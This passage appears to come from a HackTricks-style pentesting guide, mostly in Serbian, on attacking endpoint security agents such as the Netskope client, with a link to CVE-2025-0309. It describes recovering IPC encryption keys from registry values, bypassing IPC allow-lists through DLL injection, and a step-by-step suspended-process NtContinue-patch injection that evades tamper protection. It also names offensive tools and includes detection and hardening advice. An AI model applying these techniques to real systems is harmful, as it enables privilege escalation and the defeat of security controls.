HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew +- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID + +Napadači mogu reprodukovati enkripciju i poslati validne enkriptovane komande iz standardnog korisničkog konteksta. Opšti savet: ako agent iznenada „šifruje“ svoj IPC, tražite device ID-e, product GUID-ove, install ID-e pod HKLM kao materijal za derivaciju. + +--- +## 4) Bypassing IPC caller allow‑lists (path/name checks) + +Neki servisi pokušavaju da autentifikuju peer rešavanjem PID-a TCP konekcije i poređenjem image path/name sa allow‑listovanim vendor binarima smeštenim pod Program Files (npr. stagentui.exe, bwansvc.exe, epdlp.exe). + +Dva praktična zaobilaženja: +- DLL injection u allow‑listovani proces (npr. nsdiag.exe) i proxy-ovanje IPC iznutra. +- Pokrenuti allow‑listovani binarni fajl u suspended stanju i bootstrap-ovati svoj proxy DLL bez CreateRemoteThread (vidi §5) da biste zadovoljili driver‑enforced tamper pravila. + +--- +## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch + +Proizvodi često isporučuju minifilter/OB callbacks driver (npr. Stadrv) koji uklanja opasna prava sa handle-ova za zaštićene procese: +- Process: uklanja PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME +- Thread: ograničava na THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE + +Pouzdan user‑mode loader koji poštuje ta ograničenja: +1) CreateProcess vendor binar‑a sa CREATE_SUSPENDED. +2) Nabavite handle-ove kojih ste još uvek sposobni: PROCESS_VM_WRITE | PROCESS_VM_OPERATION na procesu, i thread handle sa THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (ili samo THREAD_RESUME ako patch-ujete kod na poznatom RIP). +3) Overwrite ntdll!NtContinue (ili drugi rani, garantovano mapiran thunk) sa malim stub-om koji poziva LoadLibraryW na putanju vaše DLL, zatim se vraća. +4) ResumeThread da pokrenete vaš stub u procesu, koji učita vašu DLL. + +Pošto nikada niste koristili PROCESS_CREATE_THREAD ili PROCESS_SUSPEND_RESUME na već‑zaštićenom procesu (vi ste ga kreirali), driver-ova politika je zadovoljena. + +--- +## 6) Practical tooling +- NachoVPN (Netskope plugin) automatizuje rogue CA, potpisivanje malicioznog MSI-a i servisira potrebne endpoint-e: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. +- UpSkope je custom IPC client koji gradi proizvoljne (opciono AES‑šifrovane) IPC poruke i uključuje suspended‑process injection da poreklo bude iz allow‑listovanog binarnog fajla. + +--- +## 7) Detection opportunities (blue team) +- Monitorisati dodatke u Local Machine Trusted Root. Sysmon + registry‑mod eventing (vidi SpecterOps guidance) dobro rade. +- Flagovati MSI izvršenja pokrenuta od strane agentovog servisa iz putanja kao što su C:\ProgramData\\\data\*.msi. +- Pregledati agent logove za neočekivane enrollment hostove/tenant-e, npr.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – tražiti addonUrl / tenant anomalije i provisioning msg 148. +- Alertovati na localhost IPC klijente koji nisu očekivani signed binari, ili koji potiču iz neuobičajenih child process tree-ova. + +--- +## Hardening tips for vendors +- Bind enrollment/update hostove na strogu allow‑listu; odbijajte nepouzdane domene u clientcode-u. +- Autentifikujte IPC peer‑ove OS primitivima (ALPC security, named‑pipe SIDs) umesto provera image path/name. +- Držite tajni materijal van world‑readable HKLM; ako IPC mora biti enkriptovan, izvedite ključeve iz zaštićenih secret-a ili pregovarajte preko autentifikovanih kanala. +- Tretirajte updater kao supply‑chain površinu: zahtevajte pun lanac do trusted CA koju kontrolišete, verifikujte potpis paketa prema pinned ključevima i fail‑closed ako je validacija onemogućena u konfiguraciji. + +## References +- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) +- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN) +- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope) +- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309) + +{{#include ../../banners/hacktricks-training.md}}